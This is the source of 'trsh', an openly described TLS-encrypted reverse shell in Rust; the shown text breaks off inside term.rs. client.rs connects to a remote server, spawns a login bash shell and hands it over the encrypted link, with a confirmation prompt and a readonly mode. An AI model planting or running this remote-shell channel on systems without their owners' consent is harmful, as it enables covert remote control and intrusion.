├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── LICENSE ├── README.md └── src ├── client.rs ├── error.rs ├── main.rs ├── server.rs ├── term.rs ├── tls.rs └── util.rs /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "atty" 7 | version = "0.2.14" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" 10 | dependencies = [ 11 | "hermit-abi", 12 | "libc", 13 | "winapi", 14 | ] 15 | 16 | [[package]] 17 | name = "autocfg" 18 | version = "1.1.0" 19 | source = "registry+https://github.com/rust-lang/crates.io-index" 20 | checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" 21 | 22 | [[package]] 23 | name = "bitflags" 24 | version = "1.3.2" 25 | source = "registry+https://github.com/rust-lang/crates.io-index" 26 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 27 | 28 | [[package]] 29 | name = "bytes" 30 | version = "1.1.0" 31 | source = "registry+https://github.com/rust-lang/crates.io-index" 32 | checksum = "c4872d67bab6358e59559027aa3b9157c53d9358c51423c17554809a8858e0f8" 33 | 34 | [[package]] 35 | name = "cc" 36 | version = "1.0.73" 37 | source = "registry+https://github.com/rust-lang/crates.io-index" 38 | checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11" 39 | 40 | [[package]] 41 | name = "cfg-if" 42 | version = "1.0.0" 43 | source = "registry+https://github.com/rust-lang/crates.io-index" 44 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 45 | 46 | [[package]] 47 | name = "clap" 48 | version = "3.2.8" 49 | source = "registry+https://github.com/rust-lang/crates.io-index" 50 | checksum = "190814073e85d238f31ff738fcb0bf6910cedeb73376c87cd69291028966fd83" 51 | dependencies = [ 52 | "atty", 53 | "bitflags", 54 | "clap_derive", 55 | "clap_lex", 56 | "indexmap", 57 | "once_cell", 58 | "strsim", 59 | "termcolor", 60 | "textwrap", 61 | ] 62 | 63 | [[package]] 64 | name = "clap_derive" 65 | version = "3.2.7" 66 | source = "registry+https://github.com/rust-lang/crates.io-index" 67 | checksum = "759bf187376e1afa7b85b959e6a664a3e7a95203415dba952ad19139e798f902" 68 | dependencies = [ 69 | "heck", 70 | "proc-macro-error", 71 | "proc-macro2", 72 | "quote", 73 | "syn", 74 | ] 75 | 76 | [[package]] 77 | name = "clap_lex" 78 | version = "0.2.4" 79 | source = "registry+https://github.com/rust-lang/crates.io-index" 80 | checksum = "2850f2f5a82cbf437dd5af4d49848fbdfc27c157c3d010345776f952765261c5" 81 | dependencies = [ 82 | "os_str_bytes", 83 | ] 84 | 85 | [[package]] 86 | name = "foreign-types" 87 | version = "0.3.2" 88 | source = "registry+https://github.com/rust-lang/crates.io-index" 89 | checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" 90 | dependencies = [ 91 | "foreign-types-shared", 92 | ] 93 | 94 | [[package]] 95 | name = "foreign-types-shared" 96 | version = "0.1.1" 97 | source = "registry+https://github.com/rust-lang/crates.io-index" 98 | checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" 99 | 100 | [[package]] 101 | name = "futures-core" 102 | version = "0.3.21" 103 | source = "registry+https://github.com/rust-lang/crates.io-index" 104 | checksum = "0c09fd04b7e4073ac7156a9539b57a484a8ea920f79c7c675d05d289ab6110d3" 105 | 106 | [[package]] 107 | name = "futures-task" 108 | version = "0.3.21" 109 | source = "registry+https://github.com/rust-lang/crates.io-index" 110 | checksum = "57c66a976bf5909d801bbef33416c41372779507e7a6b3a5e25e4749c58f776a" 111 | 112 | [[package]] 113 | name = "futures-util" 114 | version = "0.3.21" 115 | source = "registry+https://github.com/rust-lang/crates.io-index" 116 | checksum = "d8b7abd5d659d9b90c8cba917f6ec750a74e2dc23902ef9cd4cc8c8b22e6036a" 117 | dependencies = [ 118 | "futures-core", 119 | "futures-task", 120 | "pin-project-lite", 121 | "pin-utils", 122 | ] 123 | 124 | [[package]] 125 | name = "hashbrown" 126 | version = "0.12.2" 127 | source = "registry+https://github.com/rust-lang/crates.io-index" 128 | checksum = "607c8a29735385251a339424dd462993c0fed8fa09d378f259377df08c126022" 129 | 130 | [[package]] 131 | name = "heck" 132 | version = "0.4.0" 133 | source = "registry+https://github.com/rust-lang/crates.io-index" 134 | checksum = "2540771e65fc8cb83cd6e8a237f70c319bd5c29f78ed1084ba5d50eeac86f7f9" 135 | 136 | [[package]] 137 | name = "hermit-abi" 138 | version = "0.1.19" 139 | source = "registry+https://github.com/rust-lang/crates.io-index" 140 | checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" 141 | dependencies = [ 142 | "libc", 143 | ] 144 | 145 | [[package]] 146 | name = "indexmap" 147 | version = "1.9.1" 148 | source = "registry+https://github.com/rust-lang/crates.io-index" 149 | checksum = "10a35a97730320ffe8e2d410b5d3b69279b98d2c14bdb8b70ea89ecf7888d41e" 150 | dependencies = [ 151 | "autocfg", 152 | "hashbrown", 153 | ] 154 | 155 | [[package]] 156 | name = "libc" 157 | version = "0.2.126" 158 | source = "registry+https://github.com/rust-lang/crates.io-index" 159 | checksum = "349d5a591cd28b49e1d1037471617a32ddcda5731b99419008085f72d5a53836" 160 | 161 | [[package]] 162 | name = "log" 163 | version = "0.4.17" 164 | source = "registry+https://github.com/rust-lang/crates.io-index" 165 | checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e" 166 | dependencies = [ 167 | "cfg-if", 168 | ] 169 | 170 | [[package]] 171 | name = "memchr" 172 | version = "2.5.0" 173 | source = "registry+https://github.com/rust-lang/crates.io-index" 174 | checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" 175 | 176 | [[package]] 177 | name = "mio" 178 | version = "0.8.4" 179 | source = "registry+https://github.com/rust-lang/crates.io-index" 180 | checksum = "57ee1c23c7c63b0c9250c339ffdc69255f110b298b901b9f6c82547b7b87caaf" 181 | dependencies = [ 182 | "libc", 183 | "log", 184 | "wasi", 185 | "windows-sys", 186 | ] 187 | 188 | [[package]] 189 | name = "once_cell" 190 | version = "1.13.0" 191 | source = "registry+https://github.com/rust-lang/crates.io-index" 192 | checksum = "18a6dbe30758c9f83eb00cbea4ac95966305f5a7772f3f42ebfc7fc7eddbd8e1" 193 | 194 | [[package]] 195 | name = "openssl" 196 | version = "0.10.40" 197 | source = "registry+https://github.com/rust-lang/crates.io-index" 198 | checksum = "fb81a6430ac911acb25fe5ac8f1d2af1b4ea8a4fdfda0f1ee4292af2e2d8eb0e" 199 | dependencies = [ 200 | "bitflags", 201 | "cfg-if", 202 | "foreign-types", 203 | "libc", 204 | "once_cell", 205 | "openssl-macros", 206 | "openssl-sys", 207 | ] 208 | 209 | [[package]] 210 | name = "openssl-macros" 211 | version = "0.1.0" 212 | source = "registry+https://github.com/rust-lang/crates.io-index" 213 | checksum = "b501e44f11665960c7e7fcf062c7d96a14ade4aa98116c004b2e37b5be7d736c" 214 | dependencies = [ 215 | "proc-macro2", 216 | "quote", 217 | "syn", 218 | ] 219 | 220 | [[package]] 221 | name = "openssl-sys" 222 | version = "0.9.74" 223 | source = "registry+https://github.com/rust-lang/crates.io-index" 224 | checksum = "835363342df5fba8354c5b453325b110ffd54044e588c539cf2f20a8014e4cb1" 225 | dependencies = [ 226 | "autocfg", 227 | "cc", 228 | "libc", 229 | "pkg-config", 230 | "vcpkg", 231 | ] 232 | 233 | [[package]] 234 | name = "os_str_bytes" 235 | version = "6.1.0" 236 | source = "registry+https://github.com/rust-lang/crates.io-index" 237 | checksum = "21326818e99cfe6ce1e524c2a805c189a99b5ae555a35d19f9a284b427d86afa" 238 | 239 | [[package]] 240 | name = "pin-project-lite" 241 | version = "0.2.9" 242 | source = "registry+https://github.com/rust-lang/crates.io-index" 243 | checksum = "e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116" 244 | 245 | [[package]] 246 | name = "pin-utils" 247 | version = "0.1.0" 248 | source = "registry+https://github.com/rust-lang/crates.io-index" 249 | checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" 250 | 251 | [[package]] 252 | name = "pkg-config" 253 | version = "0.3.25" 254 | source = "registry+https://github.com/rust-lang/crates.io-index" 255 | checksum = "1df8c4ec4b0627e53bdf214615ad287367e482558cf84b109250b37464dc03ae" 256 | 257 | [[package]] 258 | name = "proc-macro-error" 259 | version = "1.0.4" 260 | source = "registry+https://github.com/rust-lang/crates.io-index" 261 | checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" 262 | dependencies = [ 263 | "proc-macro-error-attr", 264 | "proc-macro2", 265 | "quote", 266 | "syn", 267 | "version_check", 268 | ] 269 | 270 | [[package]] 271 | name = "proc-macro-error-attr" 272 | version = "1.0.4" 273 | source = "registry+https://github.com/rust-lang/crates.io-index" 274 | checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" 275 | dependencies = [ 276 | "proc-macro2", 277 | "quote", 278 | "version_check", 279 | ] 280 | 281 | [[package]] 282 | name = "proc-macro2" 283 | version = "1.0.40" 284 | source = "registry+https://github.com/rust-lang/crates.io-index" 285 | checksum = "dd96a1e8ed2596c337f8eae5f24924ec83f5ad5ab21ea8e455d3566c69fbcaf7" 286 | dependencies = [ 287 | "unicode-ident", 288 | ] 289 | 290 | [[package]] 291 | name = "quote" 292 | version = "1.0.20" 293 | source = "registry+https://github.com/rust-lang/crates.io-index" 294 | checksum = "3bcdf212e9776fbcb2d23ab029360416bb1706b1aea2d1a5ba002727cbcab804" 295 | dependencies = [ 296 | "proc-macro2", 297 | ] 298 | 299 | [[package]] 300 | name = "socket2" 301 | version = "0.4.4" 302 | source = "registry+https://github.com/rust-lang/crates.io-index" 303 | checksum = "66d72b759436ae32898a2af0a14218dbf55efde3feeb170eb623637db85ee1e0" 304 | dependencies = [ 305 | "libc", 306 | "winapi", 307 | ] 308 | 309 | [[package]] 310 | name = "strsim" 311 | version = "0.10.0" 312 | source = "registry+https://github.com/rust-lang/crates.io-index" 313 | checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" 314 | 315 | [[package]] 316 | name = "syn" 317 | version = "1.0.98" 318 | source = "registry+https://github.com/rust-lang/crates.io-index" 319 | checksum = "c50aef8a904de4c23c788f104b7dddc7d6f79c647c7c8ce4cc8f73eb0ca773dd" 320 | dependencies = [ 321 | "proc-macro2", 322 | "quote", 323 | "unicode-ident", 324 | ] 325 | 326 | [[package]] 327 | name = "termcolor" 328 | version = "1.1.3" 329 | source = "registry+https://github.com/rust-lang/crates.io-index" 330 | checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755" 331 | dependencies = [ 332 | "winapi-util", 333 | ] 334 | 335 | [[package]] 336 | name = "textwrap" 337 | version = "0.15.0" 338 | source = "registry+https://github.com/rust-lang/crates.io-index" 339 | checksum = "b1141d4d61095b28419e22cb0bbf02755f5e54e0526f97f1e3d1d160e60885fb" 340 | 341 | [[package]] 342 | name = "tokio" 343 | version = "1.19.2" 344 | source = "registry+https://github.com/rust-lang/crates.io-index" 345 | checksum = "c51a52ed6686dd62c320f9b89299e9dfb46f730c7a48e635c19f21d116cb1439" 346 | dependencies = [ 347 | "bytes", 348 | "libc", 349 | "memchr", 350 | "mio", 351 | "once_cell", 352 | "pin-project-lite", 353 | "socket2", 354 | "tokio-macros", 355 | "winapi", 356 | ] 357 | 358 | [[package]] 359 | name = "tokio-fd" 360 | version = "0.3.0" 361 | source = "registry+https://github.com/rust-lang/crates.io-index" 362 | checksum = "5cedf0b897610a4baff98bf6116c060c5cfe7574d4339c50e9d23fe09377641d" 363 | dependencies = [ 364 | "libc", 365 | "tokio", 366 | ] 367 | 368 | [[package]] 369 | name = "tokio-macros" 370 | version = "1.8.0" 371 | source = "registry+https://github.com/rust-lang/crates.io-index" 372 | checksum = "9724f9a975fb987ef7a3cd9be0350edcbe130698af5b8f7a631e23d42d052484" 373 | dependencies = [ 374 | "proc-macro2", 375 | "quote", 376 | "syn", 377 | ] 378 | 379 | [[package]] 380 | name = "tokio-openssl" 381 | version = "0.6.3" 382 | source = "registry+https://github.com/rust-lang/crates.io-index" 383 | checksum = "c08f9ffb7809f1b20c1b398d92acf4cc719874b3b2b2d9ea2f09b4a80350878a" 384 | dependencies = [ 385 | "futures-util", 386 | "openssl", 387 | "openssl-sys", 388 | "tokio", 389 | ] 390 | 391 | [[package]] 392 | name = "trsh" 393 | version = "0.1.3" 394 | dependencies = [ 395 | "clap", 396 | "libc", 397 | "openssl", 398 | "tokio", 399 | "tokio-fd", 400 | "tokio-openssl", 401 | ] 402 | 403 | [[package]] 404 | name = "unicode-ident" 405 | version = "1.0.1" 406 | source = "registry+https://github.com/rust-lang/crates.io-index" 407 | checksum = "5bd2fe26506023ed7b5e1e315add59d6f584c621d037f9368fea9cfb988f368c" 408 | 409 | [[package]] 410 | name = "vcpkg" 411 | version = "0.2.15" 412 | source = "registry+https://github.com/rust-lang/crates.io-index" 413 | checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" 414 | 415 | [[package]] 416 | name = "version_check" 417 | version = "0.9.4" 418 | source = "registry+https://github.com/rust-lang/crates.io-index" 419 | checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" 420 | 421 | [[package]] 422 | name = "wasi" 423 | version = "0.11.0+wasi-snapshot-preview1" 424 | source = "registry+https://github.com/rust-lang/crates.io-index" 425 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 426 | 427 | [[package]] 428 | name = "winapi" 429 | version = "0.3.9" 430 | source = "registry+https://github.com/rust-lang/crates.io-index" 431 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 432 | dependencies = [ 433 | "winapi-i686-pc-windows-gnu", 434 | "winapi-x86_64-pc-windows-gnu", 435 | ] 436 | 437 | [[package]] 438 | name = "winapi-i686-pc-windows-gnu" 439 | version = "0.4.0" 440 | source = "registry+https://github.com/rust-lang/crates.io-index" 441 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 442 | 443 | [[package]] 444 | name = "winapi-util" 445 | version = "0.1.5" 446 | source = "registry+https://github.com/rust-lang/crates.io-index" 447 | checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" 448 | dependencies = [ 449 | "winapi", 450 | ] 451 | 452 | [[package]] 453 | name = "winapi-x86_64-pc-windows-gnu" 454 | version = "0.4.0" 455 | source = "registry+https://github.com/rust-lang/crates.io-index" 456 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 457 | 458 | [[package]] 459 | name = "windows-sys" 460 | version = "0.36.1" 461 | source = "registry+https://github.com/rust-lang/crates.io-index" 462 | checksum = "ea04155a16a59f9eab786fe12a4a450e75cdb175f9e0d80da1e17db09f55b8d2" 463 | dependencies = [ 464 | "windows_aarch64_msvc", 465 | "windows_i686_gnu", 466 | "windows_i686_msvc", 467 | "windows_x86_64_gnu", 468 | "windows_x86_64_msvc", 469 | ] 470 | 471 | [[package]] 472 | name = "windows_aarch64_msvc" 473 | version = "0.36.1" 474 | source = "registry+https://github.com/rust-lang/crates.io-index" 475 | checksum = "9bb8c3fd39ade2d67e9874ac4f3db21f0d710bee00fe7cab16949ec184eeaa47" 476 | 477 | [[package]] 478 | name = "windows_i686_gnu" 479 | version = "0.36.1" 480 | source = "registry+https://github.com/rust-lang/crates.io-index" 481 | checksum = "180e6ccf01daf4c426b846dfc66db1fc518f074baa793aa7d9b9aaeffad6a3b6" 482 | 483 | [[package]] 484 | name = "windows_i686_msvc" 485 | version = "0.36.1" 486 | source = "registry+https://github.com/rust-lang/crates.io-index" 487 | checksum = "e2e7917148b2812d1eeafaeb22a97e4813dfa60a3f8f78ebe204bcc88f12f024" 488 | 489 | [[package]] 490 | name = "windows_x86_64_gnu" 491 | version = "0.36.1" 492 | source = "registry+https://github.com/rust-lang/crates.io-index" 493 | checksum = "4dcd171b8776c41b97521e5da127a2d86ad280114807d0b2ab1e462bc764d9e1" 494 | 495 | [[package]] 496 | name = "windows_x86_64_msvc" 497 | version = "0.36.1" 498 | source = "registry+https://github.com/rust-lang/crates.io-index" 499 | checksum = "c811ca4a8c853ef420abd8592ba53ddbbac90410fab6903b3e79972a631f7680" 500 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "trsh" 3 | version = "0.1.3" 4 | authors = ["南浦月 "] 5 | description = "A TLS encrypted Reverse Shell" 6 | homepage = "https://github.com/nanpuyue/trsh" 7 | repository = "https://github.com/nanpuyue/trsh" 8 | keywords = ["reverse", "shell", "tls"] 9 | categories = ["command-line-utilities"] 10 | license = "MIT" 11 | edition = "2018" 12 | 13 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 14 | 15 | [dependencies] 16 | clap = { version = "3.2.8", features = ["derive"] } 17 | libc = "0.2.126" 18 | openssl = "0.10.40" 19 | tokio = { version = "1.19.2", features = ["macros", "io-util", "net", "rt"] } 20 | tokio-fd = "0.3.0" 21 | tokio-openssl = "0.6.3" 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Permission is hereby granted, free of charge, to any 2 | person obtaining a copy of this software and associated 3 | documentation files (the "Software"), to deal in the 4 | Software without restriction, including without 5 | limitation the rights to use, copy, modify, merge, 6 | publish, distribute, sublicense, and/or sell copies of 7 | the Software, and to permit persons to whom the Software 8 | is furnished to do so, subject to the following 9 | conditions: 10 | 11 | The above copyright notice and this permission notice 12 | shall be included in all copies or substantial portions 13 | of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF 16 | ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED 17 | TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A 18 | PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT 19 | SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY 20 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 21 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR 22 | IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 23 | DEALINGS IN THE SOFTWARE. 24 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # A TLS encrypted Reverse Shell 2 | 3 | ## Usage 4 | 5 | ``` 6 | $ trsh -h 7 | trsh 0.1.3 8 | 南浦月 9 | A TLS encrypted Reverse Shell 10 | 11 | USAGE: 12 | trsh [OPTIONS] 13 | 14 | OPTIONS: 15 | -c Certificate chain file (server, required) 16 | -d Server name to verify (client) 17 | -h, --help Print help information 18 | -k Private key file (server, required) 19 | -l Listen address (server, required) 20 | -n Do not verify the server certificate (client) 21 | -r Readonly mode (client) 22 | -s Server address to connect (client, required) 23 | -V, --version Print version information 24 | ``` 25 | 26 | ### Server 27 | 28 | ```shell script 29 | $ trsh -l 0.0.0.0:2022 -c trsh.crt -k trsh.key 30 | Server fingerprint: KjyG4ONKfTUjjsAzgEFcPpwCCaLeVtHgNqEAfWo9Oj8= 31 | Waiting for client to connect... 32 | ``` 33 | 34 | ### Client 35 | 36 | ```shell script 37 | $ trsh -r -n -s server.host:2022 38 | Server fingerprint: KjyG4ONKfTUjjsAzgEFcPpwCCaLeVtHgNqEAfWo9Oj8= 39 | Do you want continue? [y/N] 40 | y 41 | You can use "Ctrl + C" to disconnect at any time. 42 | 43 | ``` 44 | 45 | Or you can use a certificate trusted by the system without `-n`. 46 | 47 | ## Tips 48 | 49 | ### Generate a self-signed certificate 50 | 51 | ```shell script 52 | openssl req -x509 -newkey rsa:2048 -days 365 -nodes -keyout trsh.key -out trsh.crt -subj '/CN=trsh' 53 | ``` 54 | 55 | ## License 56 | 57 | This project is licensed under the [MIT license]. 58 | 59 | [MIT license]: https://github.com/nanpuyue/trsh/blob/master/LICENSE 60 | 61 | ## Homepage 62 | 63 | [https://github.com/nanpuyue/trsh](https://github.com/nanpuyue/trsh) 64 | -------------------------------------------------------------------------------- /src/client.rs: -------------------------------------------------------------------------------- 1 | use std::convert::TryFrom; 2 | use std::ffi::CString; 3 | use std::future::{pending, Future}; 4 | use std::io::{stdin, Error}; 5 | use std::pin::Pin; 6 | use std::ptr::null; 7 | 8 | use tokio::io::{duplex, AsyncRead, AsyncReadExt, AsyncWriteExt}; 9 | use tokio::net::TcpStream; 10 | use tokio::{io, select}; 11 | use tokio_fd::AsyncFd; 12 | 13 | use crate::error::Result; 14 | use crate::term::{fork_pty, setup_terminal, PTY_MASTER}; 15 | use crate::tls::{peer_digest, tls_connect}; 16 | use crate::util::merge_reader; 17 | 18 | pub async fn client(addr: &str, sni: &str, verify: bool, readonly: bool) -> Result<()> { 19 | let tcpstream = TcpStream::connect(addr).await?; 20 | tcpstream.set_nodelay(true)?; 21 | let tlsstream = tls_connect(tcpstream, sni, verify).await?; 22 | 23 | println!("Server fingerprint: {}", peer_digest(&tlsstream)?); 24 | if !verify { 25 | println!("Do you want continue? [y/N]"); 26 | let buf = &mut String::new(); 27 | stdin().read_line(buf)?; 28 | if !buf.to_ascii_lowercase().starts_with('y') { 29 | return Ok(()); 30 | } 31 | } 32 | 33 | if readonly { 34 | println!("You can use \"Ctrl + C\" to disconnect at any time.\n"); 35 | } 36 | 37 | let (pty_master, pid) = fork_pty()?; 38 | 39 | if pid == 0 { 40 | let exe = CString::new("/usr/bin/env").unwrap(); 41 | let argv: Vec<_> = vec!["", "bash", "-l"] 42 | .iter() 43 | .map(|&x| CString::new(x).unwrap()) 44 | .collect(); 45 | let mut argv: Vec<_> = argv.iter().map(|x| x.as_ptr()).collect(); 46 | argv.push(null()); 47 | unsafe { libc::execv(exe.as_ptr(), argv.as_ptr()) }; 48 | return Err(Error::last_os_error().into()); 49 | } 50 | 51 | unsafe { PTY_MASTER = Some(pty_master) }; 52 | setup_terminal(pty_master, readonly)?; 53 | 54 | let pty = AsyncFd::try_from(pty_master)?; 55 | let (pty_reader, pty_writer) = &mut io::split(pty); 56 | let (tcp_reader, mut tcp_writer) = io::split(tlsstream); 57 | 58 | let stdin = &mut AsyncFd::try_from(libc::STDIN_FILENO)?; 59 | let stdout = &mut AsyncFd::try_from(libc::STDOUT_FILENO)?; 60 | 61 | let mut input: Box; 62 | let read: Pin>>>; 63 | if readonly { 64 | input = Box::new(tcp_reader); 65 | read = Box::pin(async { 66 | let buf = &mut vec![0; 2048]; 67 | while stdin.read(buf).await? > 0 { 68 | continue; 69 | } 70 | Ok(()) 71 | }); 72 | } else { 73 | input = Box::new(merge_reader(tcp_reader, stdin)); 74 | read = Box::pin(pending()); 75 | }; 76 | 77 | let (sender, receiver) = &mut duplex(65536); 78 | 79 | let link1 = async { 80 | let buf = &mut vec![0; 2048]; 81 | loop { 82 | match pty_reader.read(buf).await? { 83 | 0 => return Ok(()), 84 | n => { 85 | sender.write_all(&buf[..n]).await?; 86 | tcp_writer.write_all(&buf[..n]).await?; 87 | } 88 | } 89 | } 90 | }; 91 | 92 | let link2 = async { Ok(io::copy(&mut input, pty_writer).await.map(drop)?) }; 93 | 94 | let echo = async { Ok(io::copy(receiver, stdout).await.map(drop)?) }; 95 | 96 | select! { 97 | a = link1 => { 98 | a 99 | } 100 | b = link2 => { 101 | b 102 | } 103 | c = echo => { 104 | c 105 | } 106 | d = read => { 107 | d 108 | } 109 | } 110 | } 111 | -------------------------------------------------------------------------------- /src/error.rs: -------------------------------------------------------------------------------- 1 | use std::fmt::{self, Debug, Display, Formatter}; 2 | use std::{error, result}; 3 | 4 | pub type Result = result::Result; 5 | 6 | pub trait IntoError {} 7 | 8 | pub enum Error { 9 | Boxed(Box), 10 | String(String), 11 | } 12 | 13 | impl Debug for Error { 14 | fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result { 15 | match self { 16 | Self::String(x) => Debug::fmt(x, f), 17 | Self::Boxed(x) => Debug::fmt(x, f), 18 | } 19 | } 20 | } 21 | 22 | impl Display for Error { 23 | fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result { 24 | match self { 25 | Self::String(x) => Display::fmt(x, f), 26 | Self::Boxed(x) => Display::fmt(x, f), 27 | } 28 | } 29 | } 30 | 31 | impl From for Error { 32 | fn from(s: String) -> Self { 33 | Error::String(s) 34 | } 35 | } 36 | 37 | impl From<&str> for Error { 38 | fn from(s: &str) -> Self { 39 | Error::String(s.to_owned()) 40 | } 41 | } 42 | 43 | impl From for Error { 44 | fn from(e: E) -> Self { 45 | Self::Boxed(Box::new(e)) 46 | } 47 | } 48 | 49 | impl IntoError for std::io::Error {} 50 | impl IntoError for std::net::AddrParseError {} 51 | 52 | impl IntoError for openssl::ssl::Error {} 53 | impl IntoError for openssl::error::ErrorStack {} 54 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use std::net::SocketAddr; 2 | use std::path::PathBuf; 3 | 4 | use clap::Parser; 5 | 6 | mod client; 7 | mod error; 8 | mod server; 9 | mod term; 10 | mod tls; 11 | mod util; 12 | 13 | use error::Result; 14 | use term::{restore_termios, set_exit_handler}; 15 | 16 | #[derive(Debug, Parser)] 17 | #[clap(version, author, about)] 18 | struct Args { 19 | #[clap( 20 | short, 21 | parse(try_from_str), 22 | value_name = "IP:PORT", 23 | required_unless_present = "server", 24 | requires_all = &["cert", "key"], 25 | conflicts_with_all = &["server", "domain", "notverify", "readonly"], 26 | help = "Listen address (server, required)" 27 | )] 28 | listen: Option, 29 | 30 | #[clap( 31 | short, 32 | value_name = "HOST:PORT", 33 | required_unless_present = "listen", 34 | conflicts_with = "listen", 35 | help = "Server address to connect (client, required)" 36 | )] 37 | server: Option, 38 | 39 | #[clap( 40 | short, 41 | parse(try_from_str), 42 | value_name = "FILE", 43 | help = "Certificate chain file (server, required)" 44 | )] 45 | cert: Option, 46 | 47 | #[clap( 48 | short, 49 | value_name = "FILE", 50 | parse(try_from_str), 51 | help = "Private key file (server, required)" 52 | )] 53 | key: Option, 54 | 55 | #[clap(short, help = "Server name to verify (client)")] 56 | domain: Option, 57 | 58 | #[clap(short, help = "Do not verify the server certificate (client)")] 59 | notverify: bool, 60 | 61 | #[clap(short, help = "Readonly mode (client)")] 62 | readonly: bool, 63 | } 64 | 65 | #[tokio::main(flavor = "current_thread")] 66 | async fn main() -> Result<()> { 67 | let args = Args::parse(); 68 | 69 | let _ = set_exit_handler(); 70 | 71 | let ret = if let Some(listen) = args.listen { 72 | server::server(listen, &args.cert.unwrap(), &args.key.unwrap()).await 73 | } else if let Some(server) = args.server { 74 | let sni = if let Some(domain) = &args.domain { 75 | domain 76 | } else { 77 | server.split(':').next().unwrap_or_default() 78 | }; 79 | client::client(&server, sni, !args.notverify, args.readonly).await 80 | } else { 81 | Ok(()) 82 | }; 83 | 84 | let _ = restore_termios(); 85 | 86 | ret 87 | } 88 | -------------------------------------------------------------------------------- /src/server.rs: -------------------------------------------------------------------------------- 1 | use std::convert::TryFrom; 2 | use std::net::SocketAddr; 3 | use std::path::Path; 4 | 5 | use tokio::{io, select}; 6 | use tokio_fd::AsyncFd; 7 | 8 | use crate::error::Result; 9 | use crate::term::enter_raw_mode; 10 | use crate::tls::{acceptor_context, context_digest, tls_accept}; 11 | use crate::util::listen_reuseport; 12 | 13 | pub async fn server(addr: SocketAddr, cert: &Path, key: &Path) -> Result<()> { 14 | let ctx = acceptor_context(cert, key)?; 15 | println!("Server fingerprint: {}", context_digest(&ctx)?); 16 | 17 | let listener = listen_reuseport(addr)?; 18 | println!("Waiting for client to connect..."); 19 | 20 | let (tcpstream, peer) = listener.accept().await?; 21 | println!("Client \"{}\" connected.\n", peer.to_string()); 22 | 23 | drop(listener); 24 | tcpstream.set_nodelay(true)?; 25 | 26 | let tlsstream = tls_accept(tcpstream, &ctx).await?; 27 | let (reader, writer) = &mut io::split(tlsstream); 28 | let stdin = &mut AsyncFd::try_from(libc::STDIN_FILENO)?; 29 | let stdout = &mut AsyncFd::try_from(libc::STDOUT_FILENO)?; 30 | 31 | enter_raw_mode(libc::STDIN_FILENO, false)?; 32 | 33 | Ok(select! { 34 | a = io::copy(stdin, writer) => { 35 | a 36 | }, 37 | b = io::copy(reader, stdout) => { 38 | b 39 | } 40 | }?) 41 | .map(drop) 42 | } 43 | -------------------------------------------------------------------------------- /src/term.rs: -------------------------------------------------------------------------------- 1 | use std::io::{Error, Result}; 2 | use std::mem::MaybeUninit; 3 | use std::os::unix::io::RawFd; 4 | use std::ptr::null_mut; 5 | 6 | use libc::*; 7 | 8 | use crate::util::AsPtr; 9 | 10 | pub static mut PTY_MASTER: Option = None; 11 | static mut ORIGINAL_TERMIOS: Option = None; 12 | 13 | fn get_winsize(fd: RawFd) -> Result { 14 | let mut winsize = MaybeUninit::uninit(); 15 | unsafe { 16 | if ioctl(fd, TIOCGWINSZ, winsize.as_mut_ptr()) != 0 { 17 | Err(Error::last_os_error()) 